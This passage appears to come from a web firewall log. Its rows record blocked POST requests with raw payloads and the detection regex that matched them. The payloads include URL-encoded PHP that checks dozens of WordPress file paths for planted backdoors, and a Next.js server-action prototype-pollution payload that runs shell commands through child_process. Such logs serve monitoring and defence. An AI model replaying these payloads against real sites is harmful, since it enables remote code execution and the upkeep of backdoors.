ain.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:12969\n\nSu=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 18:25:18","35.189.142.243","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-type:multipart\/form-data; boundary=----FormBoundary36fb36fd0b59080d\nsec-fetch-site:none\nsec-fetch-mode:navigate\nnext-action:x\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Safari\/605.1.15\nhost:47.254.126.238\naccept-language:ja-JP,ja;q=0.9,en;q=0.8\nconnection:keep-alive\naccept:text\/x-component\naccept-encoding:gzip, deflate, br\ndnt:1\ncache-control:no-cache\ncontent-length:666\n\n------FormBoundary36fb36fd0b59080d\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------FormBoundary36fb36fd0b59080d\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------FormBoundary36fb36fd0b59080d\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------FormBoundary36fb36fd0b59080d--"]
["2026-04-20 18:28:58","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> On:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-a